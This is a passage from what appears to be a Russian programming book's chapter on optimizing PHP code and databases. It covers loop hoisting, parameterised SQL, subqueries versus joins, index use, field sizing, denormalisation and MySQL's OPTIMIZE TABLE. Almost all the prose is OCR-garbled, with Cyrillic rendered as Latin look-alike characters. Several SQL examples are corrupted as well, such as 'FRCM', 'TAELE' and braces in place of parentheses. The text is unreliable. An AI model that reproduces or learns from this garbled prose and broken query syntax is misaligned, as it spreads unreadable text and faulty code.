BOIUTEILHOCTh TaM, Ie 3T0 JeicTBUTENbHO HYXHO. Ho ecTh onHO y3koe mecTo,
KOTOpOE TPUCYTCTBYET B 06OM $3BIKE IpOrpaMMHUpOBaHusl, — 310 UWKIbL [lo-
TIYCTHM, YTO Y HAC €CTh CIEAYIOLIMIf MCeBIOKO:
l[penpapUTelbHEE PACYeTh
Hauano uuwkia, KoTopwii BemonHsaerca 100 pas

CocunTares uucno I;

Cymma = [Ia+l;

Koneu umkna

OxoHuaTENbHEE pacyeTsl

Ecan mblTaThCsl ONTHMH3MPOBATh KOA B MMPEABAPHTENBHBIX M OKOHYATENBHBLIX
pacyeTax, To MOXHO H0OUTHCS HE3HAYUTEIHHOTO MOBLIILIEHUS MPON3BOAUTEIbHO-
cri. Jaxe ecnu el cmoxere yopars 5 win 10 AMIUHMX oneépanuii, 3aMeHUB UX
ONlHOI, cueHapuii OGyaeT BBIMOJHATHCA JUIIL HAa HECKOJIBKO omnepaluit GuicTpee.
Ho ecnu yopars pacuer yucna [1u 3a npenensl UMKIA B NpeaBAPUTENIbHbBIE pacye-
Tel, To 9KoHomHs coctaBut 100 omepaumit. Llnkn cokpaiiaercsi, CTAHOBUTCH
npoiuue, u He Hano 100 pas cuuTate OAHO U TO XKe:
Hpenﬁapnwenhuue pacueTel
Cocumrares uMcno [}

Hauano umwiia, KOTOpeM BemonHAercA 100 pas

Cymma = Iat+l;

KoHen LwmMKna

OrOHYATEeNELHEEe pacdeTh
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IMonyyaeresi, yTo ecii¥ TPATUTH BPEMsi HA ONTHMU3ALMIO JOCTATOUMHO ObicTpO pa-
Goraloumiero Koga, To Bbiroga Oymer MuHUManbHoil. Ho ecian onrtuMmmsmposath
Y3KO€ MECTO, TO B PE3yJIbTare Mbl MOMYYUM-IeHCTBUTENBHO BEICTpO paboTaiouuii
cueHapui.

4.3. ba3sbl gaHHbIX

Tak kak PHP ucnons3ayercsi, B ocHOBHOM, st joctyna K 6asam HaHHBIX, TO BO-
npoc MX ONTMMM3ALUUN Hesib3sl 00XOIMTE CTOpoHOM. [locTyn K [aHHBIM OCYIeCcT-
BJISIETCS1 € TIOMOIIBIO 3anpocoB Ha si3bike SQL, KoTopbiil 6bUI CTAHNAPTU3MPOBAH
MHOI'O JieT Hasall, HO He [IOTepsi/l CBOEi akTyanbHOCTH W MO ceil JeHb. A BOT
BO3MOXHOCTH, KOTOpble OH TPEIOCTABIsET, CAMIUKOM MPOCThl U He obecnevyuBa-
IOT COBpeMeHHBIE MOTPeOHOCTH.

B cBoeii npakTHKe s MCHONB30BAN pas3IM4YHbIE CHUCTEMBl yrpasieHusl Gazamu
nanHbix (CYB/) u He pa3 obGXuraicsi Ha TOM, YTO OHM MO-pasHOMY MoryT obpa-
OarbiBaTh Aaxe 3anpockl SQL cranmapra 1992 roga. Bpone Gbl Bee BbinoqHseTCs
BEPHO, HO C HeOONBIIUMH OTKJIOHEHHMAMHM, HATIpUMEP, cepBep HE Bceraa Inomn-
HepXKHUBAGT YTEHHUE JAaHHBIX, KOTOpbie 3arucaHbl B 0asy AaHHLIX, HO eLe He noi-
TBEPKIEHBI.

[TosTOoMy BBl AOJDKHBI € CAMOr0 Hayajga Mmucark cueHapuil MMeHHO noj Ty Gaay
NAaHHBIX, € KoTopoit Oyaer npoucxonuth pabora. Henp3s nucate Kox non
MS SQL Server unin MySQL, a notom npocro nepeHecru ero noa Oracle. Dto
COBEpILIeHHO pa3Hbie 6asbl, OHM paboTaloT MoO-pasHOMY, W Y Bac MOIYT BO3HMK-
HYTb MpobJieMbl HE TOJIBKO B CMBIC/IE [MOTEPH MPOM3IBOAMTENBHOCTH, HO H B MO-
JIYYEHMH OLIMOOYHBIX Pe3yJbTATOB.

[Mpun onTUMU3ALIMK MPUIOXEHUIT st paboTel ¢ 6azaMu JaHHBIX HYXXHO JelicTBO-
BaTh C JBYX CTOPOH — ONTUMH3MpOBaTh camy 6a3zy maHHbIX (cepBep 6a3bl) u
cpejicTBa A0CTyna K gaHHbIM (3ampockr). PaGorars HYXHO cpasy Han 0beuMMH co-
CTAB/IAIOLIMMH, TIOTOMY YTO OHM B3auMocBsizaHbl. [loBeluIeHHE MPOU3IBOLUTE/b-
HOCTH CEPBEpPA MOXET HEraTMBHO CKAa3aThCsi HA NMPOM3BOIAMTENILHOCTH 3anpoca.
SpKuM npUMEpPOM TAKOH CHUTYaLMM ciyxar uHIekcel. Eciu Bbl co3gand HHAEKC
Uil NMOBBILLIEHNST cKopocTH paboTsl ¢ Tabauueit, 3To He 3HAUMT, YTO 3arpoc Gyaer
paborarsk GbicTpee, MOXeT okasarbesi U Ha06opoT, ocobeHHO B Tex clyyasnx, Koraa
C03/1aHO 04EHb MHOI'0 HMHIEKCOB,

D,EiBaﬁTC paccMOTPHM OCHOBHBIE MPUHUMIIBI, KOTOPBIMM Bbl JODKHbBI PYKOBOICTBO-
BATHCS MPH ONTHMM3ALMK NPUIOKEHUI Ut paboTsl ¢ BaszamMi HaHHBIX. DTO TONLKO
obiiue npuHUMITbl, Ho ¥ KoHkpetHoit CYB]l Moryt 6bITh CBOM 0COBEHHOCTH.

4.3.1. OnTuMn3auma 3anpocos

Hexoropbie mnporpaMMHCThl cumMTaloT, 4yrto SQL-3anpocsl paGoraioT oaHHAKOBO
B nob6oit CYB/l. Bro Gonbiias ownbka. [deicTBUTENBHO, CYIIECTBYET CTAHAAPT
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SQL, u 3anpocskl, HarMcaHHbLIe HA HeM, GYAYT BOCIIPUHSTHI B GOJNBIIMHCTBE CHC-
TeM omuHakoBo. Ho Tonmbko "BocnpuHATh', a o6paboTka MOXET NMPOMCXOIWTH
COBEPILEHHO MO-Pa3HOMY.

MakcumasnbHble npobiieMbl BO BpeMsl NiepeHoca MpUIokKeHHusl MOryT ObITh BbI3Ba-
HBI paclunpeHuaMu aseika SQL. Tak, Hanpumep, B MS SQL Server ucnonbsyet-
cs Transact-SQL, a B Oracle PL/SQL, u nx oneparopbl COBEpIIEHHO HECOBMeEC-
THMBI. Bbl JO/KHBL 3apaHee onpeneantses ¢ BeibopoM CYBI u ucrionb3yemoro
A3b1KaA, YTOObI HE CTOJKHYTLCS ¢ BO3MOXHBIMM npobieMaMu B OyayLLeM.

Ho naxe ecnu BBl MepeBefieTe CBOM KOI C ONHOIO sI3bIKa Ha JIpyroil, mpobiaem
fyner oueHb MHOTO. DTO CBSI3aHO C PA3TUYHBIMM APXUTEKTYPAMH ONTHMHU3ATOPOB
3anpocoB, pasHHlel B GinokupoBkax ¥ T. I. Eciau Koa mporpaMmsl MpH cMeHe
CYB]l tpebyer He3HauYMTENBHBIX M3MeHeHHit, To SQL-3anpocel HyXHO mepernu-
CBIBATH MOJHOCTBIO M C CAMOro Hauana, jaxe He obpalluasi BHUMAHUsSI HA TO, YTO
Bbl WCIO/Ib30BAIN B MpeasLAylleil BepcuH NporpaMMbl Uit apyroit 6a3sl JaHHBIX.
He cTout nsitatbCst MCNPaBUTh UX WK ONTHMU3UPOBATH.

Hecmotps Ha cylllecTBEHHBIE pasTuuusg MexXay 6a3aMH JaHHBIX Pa3HbIX MPOU3BO-
nuTeneit, ects M obutee. Hanpumep, GonbiinHerso CYB]L BoimonHser 3anpocst
clenytonmum obpazom:

1. Pasbop 3anpoca.

2. OnTuMM3aLIML.

3. T'eHepauus TUIaHA BBIMOJHEHMS,
4. BemonHeHMe 3anpoca.

Dro Beero Juiib OGLIMIA MJIAH BLITIOJNHEHMS, @ Ui Kaxnoil koHkpetHoit CYE/1
KONHMYECTBO 11AroB MoXeT OwiTh pasHbiM. Ho riaBHOE COCTOMUT B TOM, 4TO mepel
BBIMOJTHEHHEM TTPOMUCXOAMT HECKOJIBKO LIAroB MO TOArOTOBKE, KOTOPhie OTHUME-
10T IOCTATOYHO MHOTO BpeMeHH. [Tocne BbImoiHeHUsl 3arpoca MCHoib30BAHHBI
riad 6yner coxpaHeH B crieuuanbHoM Bydepe. pu crenyoiieM 3anycke cepsep
MONYYUT 3TH HaHHBIE M3 Oydepa M cpazy Xe HAuHET BITIONHEHHEe 6e3 JUILHUX
3aTpar Ha MoAroToBKY.

Teneps mocMOTpUM Ha ABa 3arpoca:

SELECT *

FROM TableName

WHERE ColumnName=10

Hu

SELECT *

FROM TableName
WHERE ColumnName=20

O6a 3anpoca BbIGMPAIOT HaHHbBIE U3 ONHOI U Toil Xe Tabmuusl. Tonbko nepeblii
MOKAXET CTPOKH, B KOTOPBIX KOJOHKA ColumnName COAEPXMUT 3HaueHue 10,
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a BTOPOi MOKDKET CTPOKH, Tjie 3Ta Xe KojioHKa cogepxut sHavenne 20. Ha mep-
BBI B3rJisd, 3arpochl OYEHb NMOX0XKH W TOJIXKHBI BBIMOJAHATLECS MO OJHOMY H TOMY
xe miaHy. Ho 370 BUOHO TOJNBKO YENOBEKY, 4 HE ONTHMMU3ATOPY, KOTOPLIi BOC-
NpUHUMAET TaKHe 3anpockl KaK pasHble W OyAeT BBINOIHSTE BCE MOLTOTOBHTENb-
HBIC WArn, HECMOTPSA Ha CXOXKECTD.

Yrobbl u3bGexarbh 3TOro, Hy)KHO WCIOIbL30BaTh B 3anpocax nepemeHHbie. [lepe-
MeHHbie SQL cxoxu no nasnaveHuio ¢ nepemenrsimun PHP, Ho B 3aBrcumoctH
or 0asbl JaHHLIX W ApaiiBepa MOryr oopMIATLECS pasHbIM crocoboM. [ToaTomy s
He Oyny nenarb HUKakux odopmieHuit, ytobel He cOUTb BaC C TOJNKY, 4 MPOCTO
Oyny HasbIBaTh NMEpeMEHHbIE HMEHEM paramX, [Jie X — 370 Jioboe yHcno;

SELECT *
FROM TableName
WHERE ColumnName=paraml

Terneps, BBIMONHSAS 3aMpoc, AOCTATOYHO TOJLKO MEPENaTh CepBepy 3HAYEHHE Tepe-
MEHHOI paraml, M B 9TOM CJIyYae 3anpockl OyayT BOCMPUHMMATLCS ONTHUMM3ATO-
pPOM KakK OZMHAKOBLIE, M JULIHUX 3aTpar Ha MOAroTOBUTEIbHEIE ITAMbl He GyIeT.

Bydep wist xpaHeHus MIAHOB BHIMOJHEHUSI He BECKOHEUeH, NMo3TOMY B HEM Xpa-
HATCS IAHHBIE TOJIBKO O TMOCJE/HUX 3arpocax (KOJIMYECTBO 3aBUCUT OT pasmepa
Oydepa). Ecan Kakoii-To 3anpoc BHIMOMHSETCS JOCTATOYHO YacTo, TO B HEM 00s-
3aTeIbHO HYXXHO WCITO/Ib30BATH MEPEMEHHBIE, TTOTOMY YTO 3TO 3HAYUTESBHO MO~
BBICUT NPOU3BOAUTENBHOCT. [lonpobyiiTe ABAXABLI BBHIMOMHWUTE OOUH W TOT Xe
3ampoc M MOCMOTPETh Ha CKOPOCTh BBINOJIHEHNHs. BropuyHoe BhimonHenue 6yer
HaMHOTO ObICTpee, YTO MOXHO 3aMETHTD JIaXe Ha rJ1as.

Ecnu 3anpoc BBINONHSAETCS I0CTATOYHO OBICTPO, HO OYEHb PEIKO, TO MOXHO He
ocobo obpau@rs BHUMaHE HA onTumMsaumnio. Kak Mbl yxe 3Haem, Hezayem on-
THMHM3UPOBATh TO, YTO H TAK padoraeT GLICTPO M BBIMOJIHSIETCS PeAKo (MjiaH Bbi-
TNOJIHEHUSI He coxpaHuTcs B Oydepe mo clenylolero Bei3osa). 3neck HeT ciiaboro
mecra. Ho 310 He 3HAYMT, YTO MOXHO MrHOpHpoBaTh onTuMu3auuio. Ipocro He
CTOUT Ha Hell 3a0CTPATh cANIIKOM BosbIlioe BHUMAaHKE, MOTOMY 4To 3thdekT by-
JeT MUHUMATBHbIM.

3agaun, KOTopble BBIMOJHAIOTCS YACTO, HO/KHBL paboTarh MakcUMaibHO BhICTpO.
Jlaxe eciM 3anpoc MPOUCXOILUT ¢ MPHEMIEMON U KIMEHTAa CKOPOCTbIO, ThICAYa
TAKMX 3aMpocoB CO3/AacT J0CTaTOYHO GOJbUIYIO HArpy3Ky Ha cepBep, W OH cpasy
XKe CTaHeT Y3KHM MECTOM B Ballleit cucreme. l'lonyqae'r Csl, YTO 4acThbi€ 3aIrpochl
MOXHO BOCHPUHMUMATL KaK LUHKI C TOYKH 3pEHHUA CepBepa, a Mbl YXE€ IOBOPHIINA,
YTO LIIMKJ caM 1o cebe apnsietcs cj1abbiM MEcToM.

B GonbmiMHCTBE NpHIokKeHHN 6a3 JaHHBIX MPUCYTCTBYIOT BO3MOXHOCTH VIS T10-
crpoeHusi oryeros. 3anpockl Ha sisbike SQL mwis ux dopMupoBaH#Us MOIYT Bbl-
MOJHATHCH OYEHb JI0JITO, HO OTYETHI TPeOYIOTCS OueHb pelKo (HampuMmep, Mecsy-
Hbil, KBAPTAIbHBLIH Wi rofoBoi otuer). B Takux ciayyasx MporpaMMUCThb
CAMILIKOM MAJIOE 3HAYEHME YIeSIOT ONTHMM3ALMHK, MOJ, MYCTh BBIMOJIHSETCH
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JIO7ITO, OAMH pa3 MOXHO u moTepreTsh. Ho B peanbHBIX yC/A0BHAX OTYETHOCTH MO-=
xet ¢opMupoBaTkCa 3a HeckonbKo 1uaroB. MHorza nocie nepBoit MONBITKEA
B JaHHbIE BHOCATCA HM3MEHEHHsA, W (POPMUPOBAHME MOBTOPSiETCA CHOBA. Takuw
06paszoM, naxe penKo BbIMOMHSIEMBIE, HO OYEHb MEUTeHHBIE 3arpoCchl HYXHO 110-
CTAPATHCA XOPOIIO ONTUMH3UPOBATL XOTs OBI C MOMOILBIO MCIIOJIIE30BAHMS Mapa-
METPOB.

CospeMeHHBIe 643kl AaHHBIX MOTYT MOMAEPXKWBATH Moa3anpockl. B atom cayuae
MPOrpaMMHUCTEl HAYMHAIOT HMH 3noyroTpebnsaTs. [Ipy HanmucaHuM 3ampocoB cra-
paﬁTECb UCITOJIB30BaTh MUHUMAIBHOE KOJIMYECTBO OMNEPATOPOB SELECT, ocobeHtHo
BIOXKEHHBIX B CEKLHIKD WHERE. ﬂ,HH MOBBIIUEHWUA TPOU3IBOAUTENBHOCTH HHOILA
XOpOouIO MOMOraeT BbIHOC JTMUIHErNO SELECT B CEKILIHIO FROM. Ho HHOTHOa OnIBaeT M
obpatHoe: ObicTpee Gyner BLITOMHSTLCS 3aMpoc, B KOTOPOM SELECT BbIHECEH M3
FROM B TE€JIO0 WHERE. DTO yXe 3aBUCHT OT ONTHMMW3ATOpa 3aMpOCcOB KOHKPETHOM
CYB/.

Jonyctum, HaMm Hano BeIOpaTh Beex JioAei M3 6a3bl JaHHBIX, KOTOpEIe paboraioT
Ha MpeAnpHsITUH B AaHHbIH MoMeHT. [lisi Bcex paboTaloUIMX B KOJOHKE Status
CTABUTCS KO, KOTOPbLIH MOXHO MOJYYHUTh M3 crpaBoYHMKA coctostHuit. [Mocmor-
pUM Ha MEPBBII BapHaHT 3anpoca:
SELECT *
FROM tbPerson p
WHERE p.idStatus=

{SELECT [Keyl] FROM tbStatus WHERE sName='PaGoraet')

Bam Heobs3aTelbHO MOJHOCTBIO NMOHUMATH CYTh 3TOrO 3anpoca. InasHoe 3nech
B TOM, YTO B CeKLMM WHERE BhITOJIHAETCs nonsanpoc. Ox Oyner reHepupoBarThes
Ul KQXI0i CTPOKM B TabiMlle tbPerson, HTO MOXET OKA3aThCs CIAMILKOM Ha-
KITAIHBIM IUTA cepBepa (OnsTh MOMy4aeTcs WHKII).

B takue MoMeHTHI s Aymaio, UTo ayvinue 6a3bl JaHHBIX — TE€, KOTOphIE HE MOIYT
paboTaTh ¢ BIOXKEHHbLIMW 3anpocaMy, & JIyyllue MporpaMMUCThl — Te, KOTOphIE
HEe 3HAI0T O CYLIECTBOBAHHMHM MOA3AMPOCOB WM TMPOCTO HE YMEIT MMM IONb30-
BaTbes. B aToM ciyyae mporpamMMucT Hanuiuer asa sanpoca. Ilepssiii Gyner mo-
JIy4aTh CTaTyc:

SELECT [Keyl]

FROM thStatus

WHERE sName='PaGoTaeTr'

A BTOpOI1 3anpoc Byaer HCNoNb30BaThL ero sl BeIGOpKU paboTHUKOB:
SELECT *

FROM tbPerson p

WHERE p.idStatus=lomy4yeHuuit CraTyc

Takoit 3anpoc Gyaer BeIMOTHATHECS HA cepBepe 6e3 uuKia.
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Tenepb MOCMOTPHM, KaK MOXHO BBIHECTH 3anpoc SELECT B CEKLMIO FROM. DT0
MOXHO cHeNaTh clieflylolmum obpasom:
SELECT *
FROM tbPerson p,
{SELECT [Keyl] FROM tbStatus WHERE sName='PaGoraer') s
WHERE p.idStatus=s.Keyl

B aTom ciiyyae cepsep BBITIOJIHUT 3aMpoc W3 CEKLMH FROM. A BO BpeMsl CBSI3bIBA-
HHA pesynbrata ¢ tabnuuein paboTHUKOB MBI MOJYMHM OKOHYATENbHbIH Pe3yiib-
tar. TakuMm obpasoM, M1l KaXIOi CTpoKHM paboTHUKA He OYIeT BBIMOIHATHCS
noasanpoc, U He Oyaer LUKIA.

JlaHHbIE MPUMEPDBI CAMIIKOM MPOCThl W Gaaromapst ONTHMU3ATOPY MOTYT BbIMOJ-
HATHCS HA COBPEMEHHOM CEpBEpe OJIMHAKOBO C TOMHOCTLIO 0 ceKyHabl. Ho npwu
Oonee pa3sBEeTBIIEHHOH CTPYKTYPE M CJOXHOM 3ampoce MOXHO CPaBHUThL paboTy
Pa3HBIX 3aMPOCOB M YBUIETH Haubosee NMPeANOYTUTENIEHLIN BAPUAHT [UIsl ONpele-
nerHoit CYB/l (nanomuHalo, 4To pasHeie 6asbl JaHHLIX MoryT obpabarsiBaTh 3a-
MPOCH! MO-Pa3HOMY).

B GonbLIMHCTBE Xe Cly4YaeB KaXablif SELECT OTPULATENLHO BAMSAET HA CKOPOCTD
paboThl, MOITOMY B MpENbIAYIIeM MpUMepe HYXKHO M30aBUTLCs OT HEro clieyio-
UM obpasom:

SELECT *

FROM tbPerson p, tbStatus s
WHERE p.idStatus=s.Keyl

AND s.sName='PaGoraer'

B maHHOM ciy4ae Takoe oObefMHEHWE SABJISETCS caMbIM MPOCTBIM M HANpALIUBa-
ercs camo coboil. B Gonee cIOXHBIX MpUMepax MpOrpaMMUCTLI OYeHb YACTO He
BU/ISIT BO3MOXHOCTH PelUeHHs 3ada¥d OIHUM 3aMpocoM, XOTS 3TO pelieHHe cy-
wectByer. JdonycTuM, YTo y Hac ecTh TabauLa A ¢ MOMSIMM:

0 code — MoXeT 6bITh | wm 2
O FirstName — HMS 2
0 LastName — aMuIus

B sr0it Tabmuile XpaHATCA CITUCOK COTPYAHUKOB. ISl KaXoro cOTpyAHMKA ecTh
BCero [Be 3amucu: ¢ Konom | u ¢ komom 0. 3anucu ¢ Kopom |1 Moryr ObiTh CBf3a-
HBl ¢ TAONUUEH Info, B KOTOpOIl Oymer XpaHuThes nanHas uHdboOpMauus o co-
TpyaHuke. Ham Hano nonayunts Bee 3ammcH ¢ KogoM 0, st KOTOPBIX CYIIECTBYET
CBSI3b MeXAy TabnuuamMu A M Info. Takyio sanauy walle BCEro pelialoT ABOHHBIM
3arnpocoM:
SELECT *
FROM Info i,

(SELECT * FRCM A, Info WHERE a.LastName= info.LastName) s
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WHERE Code=0
AND a.LastName=s.LastName

Ho ator npumMep MOXHO petinth 1 Gosiee IPOCThIM criocoboM:
SELECT i2.*

FROM Info il, A, Info i2

WHERE il.Code=1

AND il.LastName=A.LastName

AND il.LastName=i2.LastName

AND i2.Code=0

31eck B 3anpoce Mbl ABAXIbI CChIIAEMCS HA OIHY M TY Xe Tabnuuy Info M CTpO-
MM CBfI3b Info-A-Info. Ha nepBelif B3mIsiA, CBA3b MoiyyaeTcst CJIOXKHOM, HO MpH
HAIMYMK MMPaBUWILHO HACTPOEHHBIX MHIEKCOB 3TOT nMpumMep Gyaer paborars B He-
CKOJIBKO pa3 ObicTpee, YeM ¢ UCMOJIB30BaHUEM MOA3aNMpocoB SELECT.

Ilns yckopeHHs paboThl MOXKHO pa3buTh OOUH 3anpoc Ha Heckonbko. Hanpumep, ms
MS SQL Server npenbinyiiuii mpuMep MOXET BbI/ISIETh CIEAYIOIIMM 00pasoM:

Declare @id int

SELECT @id=[id]
FROM tbStatus
WHERE sName='PaGoraeT'

SELECT *
FROM tbPerson p
WHERE p.idStatus=@id

B 3TOM npumepe Mbi cHauana oOBABISEM NMEpPeMEHHYI0 @id. 3ateM B Heif coxpa-
HAEM 3HAYEHME UAEHTU(DUKATOPA, 4 MOTOM YK€ MIEM COOTBETCTBYIOIIUE CTPOKH
B Tabnule tbPerson.

Kak BumuTe, OIHY M TY Xe€ 3a1ayy MOXHO PeLIuTh pasHbIMU crocobamu. Heko-
Topble peanu3auuu GynyT paboTartb ¢ OIMHAKOBOI CKOPOCTBIO, a4 Y APYrUX Mpon3-
BOIIMTEIBHOCTE MOXET pas/iMyaThCsl B HECKOJIBKO pa3.

Kak MBI yXe roBopiiu, NMpu HanMCAHMH MPOTrPaMMbI BBl JOJKHBL MOJTHOCTHIO
H3YYUTh CHCTEMY, B KOTOpO# mporpammupyete. To Xe camoe crnpaBeiiuBo U juist
6a3 paHHbIX. Bel 1oMKHBL YeTKO Tipencrasnsth cefe cucreMmy, B KOTOpoit paborae-
Te, ee Mpeumylllectsa U HenocTarki. HeBo3MOXHO MpeToXUTh YHUBEpCAIbHbIE
MeTonbl HanucaHus 3ddekTUBHOro Koja, Kotopsie pabotanu 6b1 a6COMIOTHO B3~
ne. Uayuaiite, sKcnepuMeHTUPYITE, aHATU3UPYITE, U TOrAa Bbl CMOXETE ¢ MakK-
cuMasibHBIM 3¢ dEeKTOM HCTIONB30BATh OCTYITHbBIE PECYPCHI.
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4.3.2. Ontumnsauua CYB[

OnTuMMU3aLMs JOMKHE HAYMHATECA ellie Ha aTare npoekruposanng 6assl. OueHs
YaCTO MPOrpaMMMCTBI 3aAAIOT IMOJAM pazMep C JA0CTATOYHO GOJNLILKUM 3aMacoM.
S1 cam Tak mocTymai, KOria MpoeKTUPOBAL CBOM repBble Tabnuiibl 6a3bl AAHHBIX.
TpyaHo npejackasarhb, JaHHbIe KAKOro pasMepa OylyT XpaHMThCs, 4 ec/ii BblOpaH-
HOrO pasMepa Mojisi He XBaTHUT, TO MPOrpaMma He CMOXET COXpPaHMTh HeobXomu-
MYIO CTPOKY.

B Hekoropsix 6aszax maHHbBIX, €CU HE yKa3aTh pasMep Mojsl U XpaHeHUst CTpo-
KM, TO OH YCTAHABJIMBAETCH B MAKCHMAJIbHO BO3MOXHOE 3HayeHue WM B 255,
BT0 HEMPOCTUTENbHOE PACTOYMTENBCTBO AMCKOBOrO IMpocTpaHcTBa, M 6asa maH-
HBIX CTAHOBUTCH HeomnpapnaHHo Gonpiwoi. Yem 6Goabime 6Gaza JaHHBIX, TeM
cloxHee ee obpaboraTh, HO €C/IM YMEHBIIUTh €8 pasMep, TO CEepBEp CMOXET Mak-
cUManbHO OBICTPO 3arpy3uTh JAHHBIE B NaMATh W NPoW3BecTH rouck 6e3 obpa-
IIEHUs K KecTKoMy aucky. Ecau 6aza paHHBIX He MoMmellaercd B MaMaTH, TO
cepBepy NPUXOMLMTCH 3arpyKaTh €e Mo YAcTsM, a4 B XYIIUEM ciiydae — HCIOJIb30-
Barb naMaATh Qaitna (s OC Linux paszena) nonkayku, KOTOPBIH HaXOAMTCS Ha
AMCKE W paboTaeT B HECKO/IBKO pa3 MEJUIEHHEE ONepaTHBHOM MaMATH.

KoHe4HOo e, MOXHO yBEJIMYUTh 0ObEeM OMepaTMBHONW MaMsTH OO0 pasMepa 0asbl,
YTO TAKXKE MO3BOJIMT 3arpy3nTh Bee JAHHbIE B NaMATb U oOpabareiBaTh MX Tam,
YTO HAMHOTIO OBICTPEE, HO 3TO PACTOMMTEILCTBO HE YBEJIHUYNT CKOPOCTh 3arpy3Ku.

Hrak, yrobbl MUHMMH3KMpPOBaTh pa3Mep 6asbl AaHHBIX, Bbl JOKHBI UCIONL30BATh
onTHMaNbHLIA pasmep noseil. Hanpumep, wis xpaneHus: HoMepa tenedoHa aoc-
taToyHo Bcero 10 cuMBosioB, U He Hano orsoauTh nof Hero S50 cumponos. s
tabnnusl co 100 000 3anmuceit ato Oymyr nuinue 4 MbaiT nHdopMaunu. A ecau
nonei ¢ 3asbieHHbIM pasmepom 10? B aToM cilydae pacxon CTaHOBMTCA CHMLI-
KoM GombiuuM. Ecau mose momxHo MMeTh pasmep Gonee 100 cumBonos, moay-
MajiTe o ToM, YTOBEl MCHOML30BaTh THIT TEXT MM MEMO. HekoropbiM Gasam naH-
HBIX 3TO AECTBUTENILHO MOMOXET, TOTOMY YTO 3HAYEHHUs TAKUX IMOJNEH XpaHsTCs
B OTAENBHbIX CTPAHULIAX, BHE CTPAHMLL JAHHBIX LTS CTPOK.

OnIHOBPEMEHHO C ONTHMH3ALMEN 3aMpoCcoB BbI A0DKHBI ONTHMU3NPOBATH H caMy
6a3y maHHBIX. DTO JOCTHIAeTCsl C MOMOLIbIO BBEAEHMUS! NOMOMHUTENBHBIX MHAEK-
COB Ha MoJis, MO KOTOPLIM YacTO MPOMCXOMUT BbIOOPKA HaHHbIX. MHIEKCH MOTyT
3HAYMUTEIBHO YCKOPHTH MOUCK, HO ¢ HUMM HYXXHO obpaliarhesi aKKypaTrHo, MoTo-
MY UTO CJIMIIKOM BOJblIOE KOJMYECTBO MHAEKCOB MOXeT 3aMeutuTh pabory. Ya-
e BCEero 3aMeieHne MPOUCXOANT BO BpeMs N00aBAECHWS WM YAANEHWs 3anm-
ceif, moromy uto Tpebyercsi BHeceHHe H3MeHEHMH B OGoibllIOE KOTHYECTBO
MHJIEKCOB.

IMocne BHECEHUS] W3MEHEHUIt B MHIEKCH BBl JOJKHBI MPOTECTHPOBATL CHUCTEMY
Ha MpeaMeT NMPOu3BOAMTENBHOCTH. Ecnu cKopocTh He yBelIMuWIach, TO YHATUTE
HHEKC, YyToObl OH HE 3aHWUMAJ pecypcbi, MOTOMY 4TO A0BaBIEHHE CJeIyIOLIETo
WHIEKCa MOXET He NPHHEeCTH Xemaemoro 3(hdexra W3-3a NPUCYTCTBUSE HEHC-
MOJIb3YEMBIX WHAEKCOB, 3aHUMAIOLIHX PECYPCHI.
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Eie onHuM criocoGoM MoBbILIEHUSI CKOPOCTH paboThl 3anpocoB MOXeT OLIThb je-
HopManu3auus gaHHbX. Yro sTo Takoe? ¥ Bac MoxeT ObiTh HECKONBKO CBA3MH-
HbIX Tabauil. B nepBoit M3 HUX HaxomuTesl paMuIMsl YenoBeka, a B MATOH ropoxn
MpoOXHUBaAHWS. Yrobel MOJY4YHTh B OJJHOM 3alpoce o0ba 3HAYEHHS, HYAKHO HABECTH
CBSI3b MEXILy BCeMM 3TUMH TabnMUaMM, U IUTsl cepBepa TAKOH 3anpoc MoXeT 6LITh
CTMILIKOM CIIOXHBIM. B Takux CIy4yasiX Ha3BaHHWE ropoja KOMHUPYIOT B TY XE Tab-
auny, riae Haxonautes daMulius, W CBI3b CTaHoBUTCS HeHyxHou. KoHewHo xe,
nosipnsiercs M U36BITOYHOCTH IAHHBIX — B IBYX Tabiuuax XPaHATCHA OJHH M TE XKE
IaHHBIe, U B TabMMLE ¢ haMUIMSIMU BO MHOTHX CTpOKax OyIET MOBTOPAThCS Ha-
3BaHHe ropoaa, HO 9TO MOBBICHT CKOPOCTH OﬁpBGOTKH W HHOrJga O4YeHb 3HaMNu-
TEJIbHO.

MuHycoM JeHOPMaIM3ALMK SBISETCS M CIOXHOCTH MOMNAEPXKHM JaHHbIX. Ecnu
B OIHOH Tabfule M3MEHHIOCh 3HAYEHHE, TO Bbl HOJKHBI OOHOBHUTH COOTBETCT-
BylOLIME 3Ha4yeHus B apyron tabmuue. VIMEHHO MosTOMY UIsl JeHOPMATH3ALLMK
MCITONB3YIOT TOJILKO TE€ MMOJIsl, KOTOpble W3MeHsioTea peako. biaro, ropoma y Hac
MepeuMEeHOBbLIBAIOT HE KaXIblil AeHb, M MX CMHMCOK JIEFKO CONPOBOXIAThH JaXe
BPYYHYIO, HO €Clli cepBep MOMIEPXKHBACT TPUITEPLI, TO MOXHO BO3JIOXHUTb 3TY
3aja4yy M Ha cepsep 6a3 JaHHBIX.

Hanbonee pacnpocrpaHeHHoit 6asoit aanbix mns Web-npunoxeHus siasiercs
MySQL. [lns Hee ecte OOMH ABTOMATMMECKMIT METOA ONMTHMM3AUMK — ONeparop
OPTIMIZE, KOTOPbI MOXET MOBLICHTb paboTy Tabliull ¢ MOMOLLBLIO BBITOJIHEHMUS
npodUNIaKTHYECKUX AEWCTBUI, KOTOpbIE BKIIOYAIOT COPTHPOBKY MHIEKCHBIX
CcTpaHull, OOHOBJIEHWE CTATHCTUKM, OUUCTKY yAalneHHBIX cTpoK M T. 1. Oneparop
MMEET ClIeIyIOUIWiH BUJL:

OPTIMIZE TAELE name

B KavecTBe napamerpa name yKaxure UM Tabiuliel, KOTOpas TpebyeT onTHMK3a-
LHH.

st Toro 4yto6Gbl BeIGpaTh NMpaBUIbHbIN IUIAH BHIMOTHEHMS 3aMpoca, COBPEMEH-
HbIe cepBepbl 633 AaHHBIX MCMONB3YIOT cTaTUCTHKY. Eciiu oHa y Bac He BKIOUeHa
HAa AaBTOMATHYECKOE MCIOIL30BAHME, TO 1 PEKOMEHIYIO C/IeNaTh 3TO ceifyac.

Yem nam nomoxer crarucrnka? JlomycTuM, 4To y HAc €cTh CIUCOK pPaboTHUKOB
aureitHoro uexa. B takoit Tabnuue, HasepHoe, 90% (ecnu He Gosee) cocTaBaT
MYX4YHHbI, Bedb pabora B JHMTEHHOM MPOM3BOACTBE [AOCTATOYHO TSXeENa s
KeHuuH. Tenepb HOMyCTHUM, YTO HAM HYXHO HAWTH BCeX KeHUIMH. Tak Kak
